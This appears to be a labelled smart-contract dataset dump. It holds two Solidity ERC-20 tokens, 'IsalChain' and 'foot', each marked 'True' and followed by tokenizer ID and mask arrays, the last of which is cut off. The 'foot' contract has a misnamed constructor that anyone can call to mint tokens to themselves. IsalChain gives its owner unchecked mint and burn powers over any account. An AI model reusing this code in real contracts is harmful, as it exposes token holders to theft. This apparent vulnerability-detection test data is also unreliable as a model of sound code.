* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
//address msgSender = _msgSender(); // Owner address
address msgSender = _msgSender(); // Owner address
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract IsalChain is Context, IERC20, IERC20Metadata, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "IsalChain";
_symbol = "ICAN";
_decimals = 18;
_totalSupply = 150000000 * 10**(_decimals);
_balances[_msgSender()] = _totalSupply;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override onlyOwner() returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyOwner returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyOwner returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function burn(address account, uint256 amount) public onlyOwner{
_burn(account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5641,
1011,
2654,
1008,
1013,
1013,
1008,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1014,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract foot {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 0;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 10000 ; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "腳腳幣"; // Set the name for display purposes
symbol = "腳腳幣"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2385,
1025,
8278,
19204,
2890,
6895,
14756,
3372,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1010,
4769,
1035,
19204,
1010,
27507,
1035,
4469,
2850,
2696,
1007,
2270,
1025,
1065,
3206,
3329,
1063,
1013,
1013,
2270,
10857,
1997,
1996,
19204,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
1014,
1025,
1013,
1013,
2324,
26066,
2015,
2003,
1996,
6118,
4081,
12398,
1010,
4468,
5278,
2009,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
1013,
1013,
2023,
9005,
2019,
9140,
2007,
2035,
5703,
2015,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
1013,
1013,
2023,
19421,
1037,
2270,
2724,
2006,
1996,
3796,
24925,
2078,
